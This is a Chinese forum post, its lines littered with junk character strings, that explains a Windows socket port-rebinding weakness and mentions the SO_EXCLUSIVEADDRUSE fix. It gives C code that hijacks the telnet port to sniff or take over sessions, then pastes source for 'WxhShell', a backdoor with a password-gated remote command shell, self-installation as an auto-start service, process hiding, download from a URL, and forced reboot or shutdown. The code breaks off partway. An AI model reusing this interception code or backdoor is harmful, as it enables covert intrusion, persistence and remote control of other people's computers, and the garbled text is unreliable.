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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 99EXo+g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pe2wsR"_U  
:5yV.7  
  saddr.sin_family = AF_INET; S:61vD  
AE@NOM7u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "Y=+Ls(3o(  
>5 b/or  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "<i SZ  
jn.C|9/mj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _3Cn{{ A0  
U,Mx@KdV  
  这意味着什么?意味着可以进行如下的攻击: D?M!ra  
xE-7P|2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *XWq?hi  
\VSATL:]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >b.^kc  
tM j1~ R  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ay{t254/  
7P7b8 ]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g-vg6@6  
!rhk $ L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eb|i 3.  
$c&0F,   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a8AYcE b  
yA[({2%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x&A vUJ  
+!0eu>~_&  
  #include S|B$c E  
  #include  H@uE>  
  #include \.gEh1HW  
  #include    5HS~op2n/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0D~ C 5}/4  
  int main() tD$lNh^  
  { 2-0$FQ@/  
  WORD wVersionRequested; c6Q(Ygc  
  DWORD ret; Ejq#~Zhr!  
  WSADATA wsaData; kVS?RHR  
  BOOL val; Ov82ibp_1  
  SOCKADDR_IN saddr; #2xSyOrmf  
  SOCKADDR_IN scaddr; Rb}KZ+o "Z  
  int err; <a le$[  
  SOCKET s; gBk5wk_j|  
  SOCKET sc; sn{AwF%  
  int caddsize;  Zt E##p  
  HANDLE mt; vf~`eT  
  DWORD tid;   u2(eaP8d  
  wVersionRequested = MAKEWORD( 2, 2 ); W}'WA  
  err = WSAStartup( wVersionRequested, &wsaData ); ?nKF6 f  
  if ( err != 0 ) { tK%c@gGU9  
  printf("error!WSAStartup failed!\n"); =wq;@'U  
  return -1; ~2_lp^Y  
  } 'PWQnt_U  
  saddr.sin_family = AF_INET; s4T}Bs r  
   =sOo:s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &GWkq>  
'b"TH^\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #Tp]^ n  
  saddr.sin_port = htons(23); Cpx+qQt0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m|svQ-/j  
  { H' J|U|  
  printf("error!socket failed!\n"); %1:chvS  
  return -1; 'q%%m/,VPQ  
  } Ps R>V)L  
  val = TRUE; G6`J1Uk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V7t!?xOL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gd6Dm4q(  
  { +1;'B4  
  printf("error!setsockopt failed!\n"); \.s`n2.w  
  return -1; ,R wfp=*E  
  } gmSQcN)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0NO1M)HQv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RM*f|j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :wgfW .w  
u@.>WHQN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VS/;aG$&y  
  { PK rek  
  ret=GetLastError(); $R^lo $(  
  printf("error!bind failed!\n"); #2%([w  
  return -1; M2T|"Q"=  
  } [B6DC`M  
  listen(s,2); nwM)K  
  while(1) h ; kfh.  
  { )%JD8;[Jq  
  caddsize = sizeof(scaddr); <`g3(?   
  //接受连接请求 E(L<L1:"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ttv9" z  
  if(sc!=INVALID_SOCKET) ;rBp1[qVe  
  { 5JFV%odo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :%-,Fxl4  
  if(mt==NULL) /r.6XZs6  
  { LP`CS849z2  
  printf("Thread Creat Failed!\n"); PJ 9%/Nrh  
  break; E20 :uZ7\  
  }  U w Eiz  
  } %%g-GyP 1  
  CloseHandle(mt); {K7YTLWY  
  } 0rzVy/Z(  
  closesocket(s); _ 6:ww/  
  WSACleanup(); %cW;}Y[?P  
  return 0; F=&;Y@t  
  }   3q &k  
  DWORD WINAPI ClientThread(LPVOID lpParam) %<}=xJf>1  
  { m)f|:MM  
  SOCKET ss = (SOCKET)lpParam; ?y-s20Kd  
  SOCKET sc; A 0#Y, 1  
  unsigned char buf[4096]; yr4ou  
  SOCKADDR_IN saddr; mtw9AoO  
  long num; g"y?nF.&F  
  DWORD val; BXTN>d27  
  DWORD ret; +Z+ExS<#z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Fh`-(,e?5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W(@>?$&  
  saddr.sin_family = AF_INET; k:P$LzIB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %2yAvGa1  
  saddr.sin_port = htons(23); ]*ov&{'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) elbG\qXBp  
  { d=e{]MG(  
  printf("error!socket failed!\n"); .C5@QKU  
  return -1; T"W9YpZ  
  } %ejeyc  
  val = 100; 3Xdn62[&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R [9w  
  { exphe+b  
  ret = GetLastError(); Kpg:yrc['  
  return -1; oBw}hH,hp  
  } %3,xaVN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?~)Ak`=  
  { 0>Fqx{!heq  
  ret = GetLastError(); Vj!WaN_  
  return -1; 0$2={s4ze  
  } K/Jk[29"\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .Z5[_'T  
  { $Sb@zLi)  
  printf("error!socket connect failed!\n"); ;c)! @GoA  
  closesocket(sc); @+dHF0aXd  
  closesocket(ss); oEAfowXSqk  
  return -1; ~V$ f #X  
  } @"8~Y|L93  
  while(1) 8_iHVc;<  
  { t F/nah  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .&(8(C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4e/cqN 6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K\X: G-C9  
  num = recv(ss,buf,4096,0); |#cAsf_{  
  if(num>0) 9cOx@c+/  
  send(sc,buf,num,0); E$T(Qu<-  
  else if(num==0) tDU}rI8?  
  break; B"[{]GP BY  
  num = recv(sc,buf,4096,0); bm6hZA|  
  if(num>0) <_f`$z  
  send(ss,buf,num,0); _ _ =s'  
  else if(num==0) Ps7_-cH  
  break; @Mr}6x*  
  } 5Jw"{V?Ak  
  closesocket(ss); fKYKW?g;)Z  
  closesocket(sc); HPTHF  
  return 0 ; "GLYyC  
  } ;/aB)JZ5=  
>D3z V.R  
D1! {S7  
========================================================== *2#FRA#q  
P#F_>GB  
下边附上一个代码,,WXhSHELL 7*g(@d  
?.j,Bq5At  
========================================================== 2MT_#r_  
*JS"(. '(  
#include "stdafx.h" i^/Di Wdyf  
.h!9wGi`  
#include <stdio.h> r?afv.@L2  
#include <string.h> ^#7viZ*  
#include <windows.h> fOJj(0=y  
#include <winsock2.h> x cnt?%%M  
#include <winsvc.h> [>wzl"cHW  
#include <urlmon.h> :@WLGK*u.  
cb4b, Ri  
#pragma comment (lib, "Ws2_32.lib") 1{7_ `[  
#pragma comment (lib, "urlmon.lib") =<>pKQ)[  
j aD!  
#define MAX_USER   100 // 最大客户端连接数 -Y2&A$cM  
#define BUF_SOCK   200 // sock buffer 3f,u}1npa*  
#define KEY_BUFF   255 // 输入 buffer >eu `!8  
8k%H[Smn:  
#define REBOOT     0   // 重启 Yd.027  
#define SHUTDOWN   1   // 关机 X -v~o/r7  
^^'[%ok  
#define DEF_PORT   5000 // 监听端口 5{HtJ?sKc5  
j^rYFS w:Q  
#define REG_LEN     16   // 注册表键长度 6_Fpca3L  
#define SVC_LEN     80   // NT服务名长度 UMv"7~  
:;<\5Oy ^  
// 从dll定义API 1=ip ,D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sD.6"w7}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q{8qm<0g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EuLXtq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A mvw`u>  
0|GpZuGO9  
// wxhshell配置信息 a2[ 8wv1  
struct WSCFG { $xQ"PJ2  
  int ws_port;         // 监听端口 B0S8vU  
  char ws_passstr[REG_LEN]; // 口令 >]^>gUmq  
  int ws_autoins;       // 安装标记, 1=yes 0=no Io09W^  
  char ws_regname[REG_LEN]; // 注册表键名 98jD"*W5  
  char ws_svcname[REG_LEN]; // 服务名 .r(^h/IF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h1E PaL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FBcm;cjH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 df!+T0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FSFFk~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N JXa_&_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jjYM3LQcdP  
_qEWu Do  
}; 5a8JVDLX^  
9armirfV'P  
// default Wxhshell configuration "h QV9 [2\  
struct WSCFG wscfg={DEF_PORT, S]vW&r3`  
    "xuhuanlingzhe", 6xyY+  
    1, FBYll[8  
    "Wxhshell", )K8P+zn~  
    "Wxhshell", Tln9q0"W  
            "WxhShell Service", VPdwSW[eM  
    "Wrsky Windows CmdShell Service", <&KLo>B^  
    "Please Input Your Password: ", /cM 5  
  1, ^zKt{a  
  "http://www.wrsky.com/wxhshell.exe", a4Ls^  
  "Wxhshell.exe" 2\DTJ`Y,  
    };  dD:  
T4Xtuu1  
// 消息定义模块 4,gol?a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =rtS#u Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yi sF5`+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /*AJ+K._  
char *msg_ws_ext="\n\rExit."; <g] ou YHZ  
char *msg_ws_end="\n\rQuit."; RfD{g"]y  
char *msg_ws_boot="\n\rReboot..."; fFjLp l  
char *msg_ws_poff="\n\rShutdown..."; U0!^m1U:  
char *msg_ws_down="\n\rSave to "; 0`V3s]%iu  
LG"c8Vv&)~  
char *msg_ws_err="\n\rErr!"; f<'n5}{RO0  
char *msg_ws_ok="\n\rOK!"; j l}!T[5  
nMTLD  
char ExeFile[MAX_PATH]; \FIa,5k8  
int nUser = 0; UwZu:[T6H  
HANDLE handles[MAX_USER]; :U!'U;uQ  
int OsIsNt; vYYS .ve  
2f`WDL  
SERVICE_STATUS       serviceStatus; '.=Wk^,Ua  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lv=yz\  
BhOXXa{B  
// 函数声明 @47[vhE  
int Install(void); tZdwy>;  
int Uninstall(void); AD~~e% s=  
int DownloadFile(char *sURL, SOCKET wsh); tx2Vyu  
int Boot(int flag); [q|?f?Zl  
void HideProc(void); :D<:N*9i  
int GetOsVer(void); Oqd"0Qt-  
int Wxhshell(SOCKET wsl); HyZVr2  
void TalkWithClient(void *cs); i,mrMi c#  
int CmdShell(SOCKET sock); #;5[('&[  
int StartFromService(void); #>7')G  
int StartWxhshell(LPSTR lpCmdLine); pg} ~vb"  
V?U%C%C|e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JR H f.?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yjGGqz$  
 %zA2%cq<  
// 数据结构和表定义 A/ 7r:yO  
SERVICE_TABLE_ENTRY DispatchTable[] = gJ<@;O8zu0  
{ fBHkLRFH  
{wscfg.ws_svcname, NTServiceMain}, = 4BLc  
{NULL, NULL} 73&]En  
}; $ /}:P  
(eC F>Wh^m  
// 自我安装 9 Q0#We*  
int Install(void) _F}IF9{?G  
{ _#/!s]$d#  
  char svExeFile[MAX_PATH]; [ c ~LY4:  
  HKEY key; H.jLGe>  
  strcpy(svExeFile,ExeFile); :5TXA  
0C lX  
// 如果是win9x系统,修改注册表设为自启动 uAW*5 `[  
if(!OsIsNt) { u5u0*c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?l)}E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^Nd|+}  
  RegCloseKey(key); dH ^b)G4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tqff84  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `f\5p+!<7R  
  RegCloseKey(key); =XZF.ur  
  return 0; R=][>\7]}  
    } Qh)|FQ[s$r  
  } g`%ED0aR  
} W HlD %u  
else { ^2&O3s  
O!#L#u53  
// 如果是NT以上系统,安装为系统服务 \SYPu,ZT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &Iv\jhq  
if (schSCManager!=0) n;-x!Gs  
{ btUUZ"q<  
  SC_HANDLE schService = CreateService ""25ay  
  ( E[SV*1)  
  schSCManager, O vyB<r  
  wscfg.ws_svcname, GCf._8;%  
  wscfg.ws_svcdisp, XA&tTpfJE  
  SERVICE_ALL_ACCESS, *b$z6.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sf.E|]isW  
  SERVICE_AUTO_START, o1fyNzq<  
  SERVICE_ERROR_NORMAL, #U?EOm  
  svExeFile, qP7&LtU  
  NULL, . 1{vpX  
  NULL, }Q{ =:X9  
  NULL, ?#VP)A  
  NULL, fl pXVtsQ  
  NULL b9W<1eqF  
  ); syWv'Y[k?  
  if (schService!=0) ;a!h.8UJPI  
  { jyY^iQ.2  
  CloseServiceHandle(schService); cc2d/<:  
  CloseServiceHandle(schSCManager); ?`vM#)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *@-q@5r}!  
  strcat(svExeFile,wscfg.ws_svcname); 4=?Ok":8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8>%jZ%`a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /{eih]`x(  
  RegCloseKey(key); .LeF|EQU\@  
  return 0; 9G`FY:(K  
    } >.!5M L\  
  } .d#G]8suF  
  CloseServiceHandle(schSCManager); 42n@:5`{+  
} ~aauW?  
} h 7(H%(^_  
H 'WFORso[  
return 1; W(u6J#2  
} I:uQB!  
}\PE {  
// 自我卸载 'gk81@|  
int Uninstall(void) zJy 89ib'  
{ h+zkVRyA  
  HKEY key; .J<qfQ  
w]o:c(x@  
if(!OsIsNt) { ^|F Vc48{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s60:0>  
  RegDeleteValue(key,wscfg.ws_regname); NE=#5?6%g7  
  RegCloseKey(key); _Cv[`e.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *uI hxMX  
  RegDeleteValue(key,wscfg.ws_regname); K-"HcHuF  
  RegCloseKey(key); 3zA8pI w  
  return 0; V<~_OF  
  } 1,%#O;ya  
} rHC+nou  
} Q C\,  
else { OIXAjU*N  
RAv RNd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V:0uy>  
if (schSCManager!=0) JEm?26n X  
{ wH(vX<W-E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G+ $)W u  
  if (schService!=0) zP{<0o  
  { NU)`js  
  if(DeleteService(schService)!=0) { UuOLv;v  
  CloseServiceHandle(schService); 6'No4[F 4n  
  CloseServiceHandle(schSCManager); T ,O<LFv  
  return 0; !F7EAQn{(  
  } 9GtVI^]  
  CloseServiceHandle(schService); RV#uy]  
  } Zs3]|bUR  
  CloseServiceHandle(schSCManager); @T,H.#bL  
} 7fN&Q~.  
} #g-*n@ 1  
L?D~~Jb  
return 1; iZkW+5(  
} ;)= zvr17  
|4p<T! T  
// 从指定url下载文件  [A%e6  
int DownloadFile(char *sURL, SOCKET wsh) O=#/DM;  
{ &, Zz  
  HRESULT hr; -u3SsU)_%N  
char seps[]= "/"; cDQw`ORP*g  
char *token; G0 nH Z6  
char *file; LDi ez i  
char myURL[MAX_PATH]; o+X'(!Trw  
char myFILE[MAX_PATH]; >QZt)<[  
u\1Wkxj  
strcpy(myURL,sURL); PGv}fEH"  
  token=strtok(myURL,seps); :)J~FVLy  
  while(token!=NULL) } ^GV(]K  
  { $5Y^fwIK  
    file=token; f_5R!;  
  token=strtok(NULL,seps); hPqapz]HcP  
  } z)<pqN  
4|@FO}rK[l  
GetCurrentDirectory(MAX_PATH,myFILE); 0LHiOav  
strcat(myFILE, "\\"); RESGI}u  
strcat(myFILE, file); "13 :VTs[5  
  send(wsh,myFILE,strlen(myFILE),0); s:jL/%+COZ  
send(wsh,"...",3,0); ;FgEE%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [Tb3z:UUvf  
  if(hr==S_OK) tEWj}rX   
return 0; N5w]2xz!  
else )q]j?Z.  
return 1; *F8 uu.  
a9@l8{)RX  
} ".Deu|>  
^?^|Y?f2P?  
// 系统电源模块  I^(o3B  
int Boot(int flag) v4k=NH+w  
{ :DX/r  
  HANDLE hToken; C1P t3  
  TOKEN_PRIVILEGES tkp; ` .sIZku  
^K 77V$v  
  if(OsIsNt) { .J6 j"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9J;H.:WH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "za*$DU  
    tkp.PrivilegeCount = 1; k0 e|8g X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #Mem2cz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1:{O RX[;  
if(flag==REBOOT) { jXDzjt94J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4Tzu"y  
  return 0; 9 K /  
} %wjU^Urya  
else { TNPGw!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A$"$`)P!  
  return 0; #u=O 5%.  
} M4hN#0("4  
  } %C E@}  
  else { o2e h)rtB  
if(flag==REBOOT) { Ko]h r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tv=FFfQ  
  return 0; E?q'|f  
} 1'U%7#;E  
else { -ZoOX"N}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (B/F6 X;o.  
  return 0; IO&#)Ft  
} k2tX$\E  
} (zLIv9$  
q!oZ; $  
return 1; 4#7@KhK}  
} g`8 mh&u%  
~ {7N TW  
// win9x进程隐藏模块 2|NyAtPb5  
void HideProc(void) QsF<=b~  
{ \FY De  
XOU-8;d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B oj{+rE0  
  if ( hKernel != NULL ) owY_cDzrH  
  { \7tvNa,C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k&"qdB(I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O7CYpn4<7  
    FreeLibrary(hKernel); ']6#7NU  
  } UUEDCtF)  
cCbr-Z&  
return; 6exlb:  
} -K'84 bZ  
p*&LEjaVM4  
// 获取操作系统版本 :ktX7p~  
int GetOsVer(void) !/(}meZj  
{ TtjSLkF  
  OSVERSIONINFO winfo; eWk2YP!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zt?w n* _  
  GetVersionEx(&winfo); o-CJdOS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) leYmV FE  
  return 1; nT .2jk+  
  else 'nDT.i  
  return 0; I/-w65J]  
} CY).I`aJ  
r`g;k&"a  
// 客户端句柄模块 z4fK{S  
int Wxhshell(SOCKET wsl) ]:#$6D"  
{ ds[Z=_Ll  
  SOCKET wsh; kuud0VWJ  
  struct sockaddr_in client; adE0oXQH"  
  DWORD myID; IlL   
.&Gtw _  
  while(nUser<MAX_USER) qmyZbo|8&  
{ 9a Ps_|C  
  int nSize=sizeof(client); !skWe~/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NGQIoKC  
  if(wsh==INVALID_SOCKET) return 1; ]{U*+K%,J  
6)<oO(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -Izg&u &  
if(handles[nUser]==0) jW$f(qAbm  
  closesocket(wsh); hgr ,v"  
else qhf/B)  
  nUser++; <0qY8  
  } KQZRzX>0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (V?`W7  
<gz MDX[^M  
  return 0; 5.HztNL  
} & ~G  
<4HuV.K  
// 关闭 socket  F%$Ws>l  
void CloseIt(SOCKET wsh) 00wH#_fm  
{ iw;Alav"x  
closesocket(wsh); Ae zXou&  
nUser--; ';!UJWYl  
ExitThread(0); "m)O13x  
} .7Bav5 ;  
kV%y%l(6  
// 客户端请求句柄 ,^66`C[G  
void TalkWithClient(void *cs) ywtDz8!^u  
{ +Ws}a  
EMH}VigR  
  SOCKET wsh=(SOCKET)cs; tl^;iE!-  
  char pwd[SVC_LEN]; .z7f_KX^  
  char cmd[KEY_BUFF]; pnb$lpxt  
char chr[1]; FsZEB/c  
int i,j; by ee-BU  
F+-MafN7Y  
  while (nUser < MAX_USER) { 2p.+C35c=j  
-;.fU44O[#  
if(wscfg.ws_passstr) { }(O kl1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1L9 <1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EHJc*WFPU-  
  //ZeroMemory(pwd,KEY_BUFF); H t$%)j9  
      i=0; o |.me G  
  while(i<SVC_LEN) { b|'LtL$Y  
*hgsS~  
  // 设置超时 n{* [Y  
  fd_set FdRead; g@i 4H[k  
  struct timeval TimeOut; 1:V/['|*g)  
  FD_ZERO(&FdRead); 6UP3Ij  
  FD_SET(wsh,&FdRead); hrxASAfg6  
  TimeOut.tv_sec=8; iU|C<A%Hh  
  TimeOut.tv_usec=0; B|w}z1.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <"9Z7" >  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P9~kN|  
3CL:VwoW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RS=7W._W  
  pwd=chr[0]; fP*C*4#X  
  if(chr[0]==0xd || chr[0]==0xa) { KDzIarC  
  pwd=0; 7cSvAX0Z.  
  break; 0drc^rj !  
  } >CA1Ub&ls  
  i++; ~.SU$  
    } nW[aPQ[R   
.^W0;ISX  
  // 如果是非法用户,关闭 socket p{u}t!`!d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E_*T0&P.P  
} ^U1 +D^AJ  
yrb%g~ELGn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I*t}gvUt9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _J`M>W)8  
'7%9Sqx  
while(1) { ?q7Gs)B=^'  
-O6o^Dk  
  ZeroMemory(cmd,KEY_BUFF); 8;bOw  
4K,&Q/Vdd7  
      // 自动支持客户端 telnet标准   SxyFFt  
  j=0; %|||M=akk  
  while(j<KEY_BUFF) { oOvbel`;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \8H"lcj:  
  cmd[j]=chr[0]; oOw"k*,h:S  
  if(chr[0]==0xa || chr[0]==0xd) { ^ `9OA`2  
  cmd[j]=0; }?$Mh)  
  break; A-5%_M3\G  
  } #wcoLCjs)  
  j++; {K}+$jzGVt  
    } ttOsL')|  
DenCD9 f  
  // 下载文件 *9 xD]ZZF  
  if(strstr(cmd,"http://")) { |9@;Muq;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D=+sD"<|  
  if(DownloadFile(cmd,wsh)) 7X"cu6%\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d DTt_B  
  else `8*$$JC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^^mi@&ApLD  
  } $NSYQF%aO  
  else { O5"80z38[  
VzNH%  
    switch(cmd[0]) { r,\(Y@I  
  *+ayC{!  
  // 帮助 nfR5W~%*:  
  case '?': { PI?[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F.6SX (x  
    break; Z7/lFS'~N  
  } f+RDvgkKU  
  // 安装 ?J AzN  
  case 'i': { 9w|q':<  
    if(Install()) 3H2'HO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  #Ki@=*  
    else fNumY|%3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MDZb|1.AT  
    break; MiI7s ;  
    } UHwrssX&3  
  // 卸载 ?2a gU  
  case 'r': { a7R7Ks|q  
    if(Uninstall()) [&&4lKC}u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); auU{I y   
    else /fEXAk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j(hC't-  
    break; [VH t#JuN,  
    } #k6T_ki  
  // 显示 wxhshell 所在路径 SqLKF<tY]/  
  case 'p': { [ CY=  
    char svExeFile[MAX_PATH]; *&km5@*  
    strcpy(svExeFile,"\n\r"); b(F`$N@7C  
      strcat(svExeFile,ExeFile); 0!T $Ef   
        send(wsh,svExeFile,strlen(svExeFile),0); :/08}!_:  
    break; v}U;@3W8U  
    } 0&|-wduR=  
  // 重启 )ALcmC?!#  
  case 'b': { p_( NLJ%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W&nVVV8s@  
    if(Boot(REBOOT)) m"5gzH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +VDB\n   
    else { H}/1/5 L  
    closesocket(wsh); [?A0{#5)8x  
    ExitThread(0); #N:o)I  
    } 0n%`Xb0q  
    break; x :s-\>RcA  
    } 3zkq'lZ  
  // 关机 4-AmzU  
  case 'd': { Qoc-ZC"<6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TqC"lO>:Q  
